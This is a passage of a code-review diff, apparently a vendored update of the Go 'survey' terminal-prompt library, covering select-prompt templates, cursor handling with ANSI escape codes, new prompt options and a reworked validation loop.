return ""
|
||||
}
|
||||
return s.Description(opt.Value, opt.Index)
|
||||
}
|
||||
|
||||
var SelectQuestionTemplate = `
|
||||
{{- define "option"}}
|
||||
{{- if eq .SelectedIndex .CurrentIndex }}{{color .Config.Icons.SelectFocus.Format }}{{ .Config.Icons.SelectFocus.Text }} {{else}}{{color "default"}} {{end}}
|
||||
{{- .CurrentOpt.Value}}{{ if ne ($.GetDescription .CurrentOpt) "" }} - {{color "cyan"}}{{ $.GetDescription .CurrentOpt }}{{end}}
|
||||
{{- color "reset"}}
|
||||
{{end}}
|
||||
{{- if .ShowHelp }}{{- color .Config.Icons.Help.Format }}{{ .Config.Icons.Help.Text }} {{ .Help }}{{color "reset"}}{{"\n"}}{{end}}
|
||||
{{- color .Config.Icons.Question.Format }}{{ .Config.Icons.Question.Text }} {{color "reset"}}
|
||||
{{- color "default+hb"}}{{ .Message }}{{ .FilterMessage }}{{color "reset"}}
|
||||
@@ -53,10 +79,8 @@ var SelectQuestionTemplate = `
|
||||
{{- else}}
|
||||
{{- " "}}{{- color "cyan"}}[Use arrows to move, type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
|
||||
{{- "\n"}}
|
||||
{{- range $ix, $choice := .PageEntries}}
|
||||
{{- if eq $ix $.SelectedIndex }}{{color $.Config.Icons.SelectFocus.Format }}{{ $.Config.Icons.SelectFocus.Text }} {{else}}{{color "default"}} {{end}}
|
||||
{{- $choice.Value}}
|
||||
{{- color "reset"}}{{"\n"}}
|
||||
{{- range $ix, $option := .PageEntries}}
|
||||
{{- template "option" $.IterateOption $ix $option}}
|
||||
{{- end}}
|
||||
{{- end}}`
|
||||
|
||||
@@ -114,8 +138,9 @@ func (s *Select) OnChange(key rune, config *PromptConfig) bool {
|
||||
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
|
||||
// if there is content in the filter to delete
|
||||
if s.filter != "" {
|
||||
runeFilter := []rune(s.filter)
|
||||
// subtract a line from the current filter
|
||||
s.filter = s.filter[0 : len(s.filter)-1]
|
||||
s.filter = string(runeFilter[0 : len(runeFilter)-1])
|
||||
// we removed the last value in the filter
|
||||
}
|
||||
} else if key >= terminal.KeySpace {
|
||||
@@ -151,17 +176,17 @@ func (s *Select) OnChange(key rune, config *PromptConfig) bool {
|
||||
// and we have modified the filter then we should move the page back!
|
||||
opts, idx := paginate(pageSize, options, s.selectedIndex)
|
||||
|
||||
tmplData := SelectTemplateData{
|
||||
Select: *s,
|
||||
SelectedIndex: idx,
|
||||
ShowHelp: s.showingHelp,
|
||||
Description: s.Description,
|
||||
PageEntries: opts,
|
||||
Config: config,
|
||||
}
|
||||
|
||||
// render the options
|
||||
s.Render(
|
||||
SelectQuestionTemplate,
|
||||
SelectTemplateData{
|
||||
Select: *s,
|
||||
SelectedIndex: idx,
|
||||
ShowHelp: s.showingHelp,
|
||||
PageEntries: opts,
|
||||
Config: config,
|
||||
},
|
||||
)
|
||||
_ = s.RenderWithCursorOffset(SelectQuestionTemplate, tmplData, opts, idx)
|
||||
|
||||
// keep prompting
|
||||
return false
|
||||
@@ -233,16 +258,23 @@ func (s *Select) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
// figure out the options and index to render
|
||||
opts, idx := paginate(pageSize, core.OptionAnswerList(s.Options), sel)
|
||||
|
||||
cursor := s.NewCursor()
|
||||
cursor.Save() // for proper cursor placement during selection
|
||||
cursor.Hide() // hide the cursor
|
||||
defer cursor.Show() // show the cursor when we're done
|
||||
defer cursor.Restore() // clear any accessibility offsetting on exit
|
||||
|
||||
tmplData := SelectTemplateData{
|
||||
Select: *s,
|
||||
SelectedIndex: idx,
|
||||
Description: s.Description,
|
||||
ShowHelp: s.showingHelp,
|
||||
PageEntries: opts,
|
||||
Config: config,
|
||||
}
|
||||
|
||||
// ask the question
|
||||
err := s.Render(
|
||||
SelectQuestionTemplate,
|
||||
SelectTemplateData{
|
||||
Select: *s,
|
||||
PageEntries: opts,
|
||||
SelectedIndex: idx,
|
||||
Config: config,
|
||||
},
|
||||
)
|
||||
err := s.RenderWithCursorOffset(SelectQuestionTemplate, tmplData, opts, idx)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -251,12 +283,10 @@ func (s *Select) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
s.useDefault = true
|
||||
|
||||
rr := s.NewRuneReader()
|
||||
rr.SetTermMode()
|
||||
defer rr.RestoreTermMode()
|
||||
|
||||
cursor := s.NewCursor()
|
||||
cursor.Hide() // hide the cursor
|
||||
defer cursor.Show() // show the cursor when we're done
|
||||
_ = rr.SetTermMode()
|
||||
defer func() {
|
||||
_ = rr.RestoreTermMode()
|
||||
}()
|
||||
|
||||
// start waiting for input
|
||||
for {
|
||||
@@ -316,13 +346,16 @@ func (s *Select) Prompt(config *PromptConfig) (interface{}, error) {
|
||||
}
|
||||
|
||||
func (s *Select) Cleanup(config *PromptConfig, val interface{}) error {
|
||||
cursor := s.NewCursor()
|
||||
cursor.Restore()
|
||||
return s.Render(
|
||||
SelectQuestionTemplate,
|
||||
SelectTemplateData{
|
||||
Select: *s,
|
||||
Answer: val.(core.OptionAnswer).Value,
|
||||
ShowAnswer: true,
|
||||
Config: config,
|
||||
Select: *s,
|
||||
Answer: val.(core.OptionAnswer).Value,
|
||||
ShowAnswer: true,
|
||||
Description: s.Description,
|
||||
Config: config,
|
||||
},
|
||||
)
|
||||
}
|
||||
+115
-53
@@ -1,10 +1,12 @@
|
||||
package survey
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2/core"
|
||||
"github.com/AlecAivazis/survey/v2/terminal"
|
||||
@@ -54,7 +56,10 @@ func defaultAskOptions() *AskOptions {
|
||||
// include this option if it matches
|
||||
return strings.Contains(strings.ToLower(value), filter)
|
||||
},
|
||||
KeepFilter: false,
|
||||
KeepFilter: false,
|
||||
ShowCursor: false,
|
||||
RemoveSelectAll: false,
|
||||
RemoveSelectNone: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -108,12 +113,15 @@ type Question struct {
|
||||
|
||||
// PromptConfig holds the global configuration for a prompt
|
||||
type PromptConfig struct {
|
||||
PageSize int
|
||||
Icons IconSet
|
||||
HelpInput string
|
||||
SuggestInput string
|
||||
Filter func(filter string, option string, index int) bool
|
||||
KeepFilter bool
|
||||
PageSize int
|
||||
Icons IconSet
|
||||
HelpInput string
|
||||
SuggestInput string
|
||||
Filter func(filter string, option string, index int) bool
|
||||
KeepFilter bool
|
||||
ShowCursor bool
|
||||
RemoveSelectAll bool
|
||||
RemoveSelectNone bool
|
||||
}
|
||||
|
||||
// Prompt is the primary interface for the objects that can take user input
|
||||
@@ -171,6 +179,22 @@ func WithKeepFilter(KeepFilter bool) AskOpt {
|
||||
}
|
||||
}
|
||||
|
||||
// WithRemoveSelectAll remove the select all option in Multiselect
|
||||
func WithRemoveSelectAll() AskOpt {
|
||||
return func(options *AskOptions) error {
|
||||
options.PromptConfig.RemoveSelectAll = true
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// WithRemoveSelectNone remove the select none/unselect all in Multiselect
|
||||
func WithRemoveSelectNone() AskOpt {
|
||||
return func(options *AskOptions) error {
|
||||
options.PromptConfig.RemoveSelectNone = true
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// WithValidator specifies a validator to use while prompting the user
|
||||
func WithValidator(v Validator) AskOpt {
|
||||
return func(options *AskOptions) error {
|
||||
@@ -219,6 +243,17 @@ func WithIcons(setIcons func(*IconSet)) AskOpt {
|
||||
}
|
||||
}
|
||||
|
||||
// WithShowCursor sets the show cursor behavior when prompting the user
|
||||
func WithShowCursor(ShowCursor bool) AskOpt {
|
||||
return func(options *AskOptions) error {
|
||||
// set the page size
|
||||
options.PromptConfig.ShowCursor = ShowCursor
|
||||
|
||||
// nothing went wrong
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
AskOne performs the prompt for a single prompt and asks for validation if required.
|
||||
Response types should be something that can be casted from the response type designated
|
||||
@@ -282,6 +317,20 @@ func Ask(qs []*Question, response interface{}, opts ...AskOpt) error {
|
||||
return errors.New("cannot call Ask() with a nil reference to record the answers")
|
||||
}
|
||||
|
||||
validate := func(q *Question, val interface{}) error {
|
||||
if q.Validate != nil {
|
||||
if err := q.Validate(val); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
for _, v := range options.Validators {
|
||||
if err := v(val); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// go over every question
|
||||
for _, q := range qs {
|
||||
// If Prompt implements controllable stdio, pass in specified stdio.
|
||||
@@ -289,46 +338,28 @@ func Ask(qs []*Question, response interface{}, opts ...AskOpt) error {
|
||||
p.WithStdio(options.Stdio)
|
||||
}
|
||||
|
||||
// grab the user input and save it
|
||||
ans, err := q.Prompt.Prompt(&options.PromptConfig)
|
||||
// if there was a problem
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// build up a list of validators that we have to apply to this question
|
||||
validators := []Validator{}
|
||||
|
||||
// make sure to include the question specific one
|
||||
if q.Validate != nil {
|
||||
validators = append(validators, q.Validate)
|
||||
}
|
||||
// add any "global" validators
|
||||
for _, validator := range options.Validators {
|
||||
validators = append(validators, validator)
|
||||
}
|
||||
|
||||
// apply every validator to thte response
|
||||
for _, validator := range validators {
|
||||
// wait for a valid response
|
||||
for invalid := validator(ans); invalid != nil; invalid = validator(ans) {
|
||||
err := q.Prompt.Error(&options.PromptConfig, invalid)
|
||||
// if there was a problem
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// ask for more input
|
||||
if promptAgainer, ok := q.Prompt.(PromptAgainer); ok {
|
||||
ans, err = promptAgainer.PromptAgain(&options.PromptConfig, ans, invalid)
|
||||
} else {
|
||||
ans, err = q.Prompt.Prompt(&options.PromptConfig)
|
||||
}
|
||||
// if there was a problem
|
||||
if err != nil {
|
||||
var ans interface{}
|
||||
var validationErr error
|
||||
// prompt and validation loop
|
||||
for {
|
||||
if validationErr != nil {
|
||||
if err := q.Prompt.Error(&options.PromptConfig, validationErr); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
var err error
|
||||
if promptAgainer, ok := q.Prompt.(PromptAgainer); ok && validationErr != nil {
|
||||
ans, err = promptAgainer.PromptAgain(&options.PromptConfig, ans, validationErr)
|
||||
} else {
|
||||
ans, err = q.Prompt.Prompt(&options.PromptConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
validationErr = validate(q, ans)
|
||||
if validationErr == nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if q.Transform != nil {
|
||||
@@ -341,21 +372,14 @@ func Ask(qs []*Question, response interface{}, opts ...AskOpt) error {
|
||||
}
|
||||
|
||||
// tell the prompt to cleanup with the validated value
|
||||
q.Prompt.Cleanup(&options.PromptConfig, ans)
|
||||
|
||||
// if something went wrong
|
||||
if err != nil {
|
||||
// stop listening
|
||||
if err := q.Prompt.Cleanup(&options.PromptConfig, ans); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// add it to the map
|
||||
err = core.WriteAnswer(response, q.Name, ans)
|
||||
// if something went wrong
|
||||
if err != nil {
|
||||
if err := core.WriteAnswer(response, q.Name, ans); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// return the response
|
||||
@@ -398,3 +422,41 @@ func paginate(pageSize int, choices []core.OptionAnswer, sel int) ([]core.Option
|
||||
// return the subset we care about and the index
|
||||
return choices[start:end], cursor
|
||||
}
|
||||
|
||||
type IterableOpts interface {
|
||||
IterateOption(int, core.OptionAnswer) interface{}
|
||||
}
|
||||
|
||||
func computeCursorOffset(tmpl string, data IterableOpts, opts []core.OptionAnswer, idx, tWidth int) int {
|
||||
tmpls, err := core.GetTemplatePair(tmpl)
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
|
||||
t := tmpls[0]
|
||||
|
||||
renderOpt := func(ix int, opt core.OptionAnswer) string {
|
||||
var buf bytes.Buffer
|
||||
_ = t.ExecuteTemplate(&buf, "option", data.IterateOption(ix, opt))
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
offset := len(opts) - idx
|
||||
|
||||
for i, o := range opts {
|
||||
if i < idx {
|
||||
continue
|
||||
}
|
||||
renderedOpt := renderOpt(i, o)
|
||||
valWidth := utf8.RuneCount([]byte(renderedOpt))
|
||||
if valWidth > tWidth {
|
||||
splitCount := valWidth / tWidth
|
||||
if valWidth%tWidth == 0 {
|
||||
splitCount -= 1
|
||||
}
|
||||
offset += splitCount
|
||||
}
|
||||
}
|
||||
|
||||
return offset
|
||||
}
|
||||
+54
-35
@@ -1,3 +1,4 @@
|
||||
//go:build !windows
|
||||
// +build !windows
|
||||
|
||||
package terminal
|
||||
@@ -21,79 +22,99 @@ type Cursor struct {
|
||||
}
|
||||
|
||||
// Up moves the cursor n cells to up.
|
||||
func (c *Cursor) Up(n int) {
|
||||
fmt.Fprintf(c.Out, "\x1b[%dA", n)
|
||||
func (c *Cursor) Up(n int) error {
|
||||
_, err := fmt.Fprintf(c.Out, "\x1b[%dA", n)
|
||||
return err
|
||||
}
|
||||
|
||||
// Down moves the cursor n cells to down.
|
||||
func (c *Cursor) Down(n int) {
|
||||
fmt.Fprintf(c.Out, "\x1b[%dB", n)
|
||||
func (c *Cursor) Down(n int) error {
|
||||
_, err := fmt.Fprintf(c.Out, "\x1b[%dB", n)
|
||||
return err
|
||||
}
|
||||
|
||||
// Forward moves the cursor n cells to right.
|
||||
func (c *Cursor) Forward(n int) {
|
||||
fmt.Fprintf(c.Out, "\x1b[%dC", n)
|
||||
func (c *Cursor) Forward(n int) error {
|
||||
_, err := fmt.Fprintf(c.Out, "\x1b[%dC", n)
|
||||
return err
|
||||
}
|
||||
|
||||
// Back moves the cursor n cells to left.
|
||||
func (c *Cursor) Back(n int) {
|
||||
fmt.Fprintf(c.Out, "\x1b[%dD", n)
|
||||
func (c *Cursor) Back(n int) error {
|
||||
_, err := fmt.Fprintf(c.Out, "\x1b[%dD", n)
|
||||
return err
|
||||
}
|
||||
|
||||
// NextLine moves cursor to beginning of the line n lines down.
|
||||
func (c *Cursor) NextLine(n int) {
|
||||
fmt.Fprintf(c.Out, "\x1b[%dE", n)
|
||||
func (c *Cursor) NextLine(n int) error {
|
||||
if err := c.Down(1); err != nil {
|
||||
return err
|
||||
}
|
||||
return c.HorizontalAbsolute(0)
|
||||
}
|
||||
|
||||
// PreviousLine moves cursor to beginning of the line n lines up.
|
||||
func (c *Cursor) PreviousLine(n int) {
|
||||
fmt.Fprintf(c.Out, "\x1b[%dF", n)
|
||||
func (c *Cursor) PreviousLine(n int) error {
|
||||
if err := c.Up(1); err != nil {
|
||||
return err
|
||||
}
|
||||
return c.HorizontalAbsolute(0)
|
||||
}
|
||||
|
||||
// HorizontalAbsolute moves cursor horizontally to x.
|
||||
func (c *Cursor) HorizontalAbsolute(x int) {
|
||||
fmt.Fprintf(c.Out, "\x1b[%dG", x)
|
||||
func (c *Cursor) HorizontalAbsolute(x int) error {
|
||||
_, err := fmt.Fprintf(c.Out, "\x1b[%dG", x)
|
||||
return err
|
||||
}
|
||||
|
||||
// Show shows the cursor.
|
||||
func (c *Cursor) Show() {
|
||||
fmt.Fprint(c.Out, "\x1b[?25h")
|
||||
func (c *Cursor) Show() error {
|
||||
_, err := fmt.Fprint(c.Out, "\x1b[?25h")
|
||||
return err
|
||||
}
|
||||
|
||||
// Hide hide the cursor.
|
||||
func (c *Cursor) Hide() {
|
||||
fmt.Fprint(c.Out, "\x1b[?25l")
|
||||
func (c *Cursor) Hide() error {
|
||||
_, err := fmt.Fprint(c.Out, "\x1b[?25l")
|
||||
return err
|
||||
}
|
||||
|
||||
// Move moves the cursor to a specific x,y location.
|
||||
func (c *Cursor) Move(x int, y int) {
|
||||
fmt.Fprintf(c.Out, "\x1b[%d;%df", x, y)
|
||||
// move moves the cursor to a specific x,y location.
|
||||
func (c *Cursor) move(x int, y int) error {
|
||||
_, err := fmt.Fprintf(c.Out, "\x1b[%d;%df", x, y)
|
||||
return err
|
||||
}
|
||||
|
||||
// Save saves the current position
|
||||
func (c *Cursor) Save() {
|
||||
fmt.Fprint(c.Out, "\x1b7")
|
||||
func (c *Cursor) Save() error {
|
||||
_, err := fmt.Fprint(c.Out, "\x1b7")
|
||||
return err
|
||||
}
|
||||
|
||||
// Restore restores the saved position of the cursor
|
||||
func (c *Cursor) Restore() {
|
||||
fmt.Fprint(c.Out, "\x1b8")
|
||||
func (c *Cursor) Restore() error {
|
||||
_, err := fmt.Fprint(c.Out, "\x1b8")
|
||||
return err
|
||||
}
|
||||
|
||||
// for comparability purposes between windows
|
||||
// in unix we need to print out a new line on some terminals
|
||||
func (c *Cursor) MoveNextLine(cur *Coord, terminalSize *Coord) {
|
||||
func (c *Cursor) MoveNextLine(cur *Coord, terminalSize *Coord) error {
|
||||
if cur.Y == terminalSize.Y {
|
||||
fmt.Fprintln(c.Out)
|
||||
if _, err := fmt.Fprintln(c.Out); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
c.NextLine(1)
|
||||
return c.NextLine(1)
|
||||
}
|
||||
|
||||
// Location returns the current location of the cursor in the terminal
|
||||
func (c *Cursor) Location(buf *bytes.Buffer) (*Coord, error) {
|
||||
// ANSI escape sequence for DSR - Device Status Report
|
||||
// https://en.wikipedia.org/wiki/ANSI_escape_code#CSI_sequences
|
||||
fmt.Fprint(c.Out, "\x1b[6n")
|
||||
if _, err := fmt.Fprint(c.Out, "\x1b[6n"); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// There may be input in Stdin prior to CursorLocation so make sure we don't
|
||||
// drop those bytes.
|
||||
@@ -167,11 +188,14 @@ func (c *Cursor) Size(buf *bytes.Buffer) (*Coord, error) {
|
||||
|
||||
// hide the cursor (so it doesn't blink when getting the size of the terminal)
|
||||
c.Hide()
|
||||
defer c.Show()
|
||||
|
||||
// save the current location of the cursor
|
||||
c.Save()
|
||||
defer c.Restore()
|
||||
|
||||
// move the cursor to the very bottom of the terminal
|
||||
c.Move(999, 999)
|
||||
c.move(999, 999)
|
||||
|
||||
// ask for the current location
|
||||
bottom, err := c.Location(buf)
|
||||
@@ -179,11 +203,6 @@ func (c *Cursor) Size(buf *bytes.Buffer) (*Coord, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// move back where we began
|
||||
c.Restore()
|
||||
|
||||
// show the cursor
|
||||
c.Show()
|
||||
// since the bottom was calculated in the lower right corner, it
|
||||
// is the dimensions we are looking for
|
||||
return bottom, nil
|
||||
|
||||
Loaded 100 of 1188 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user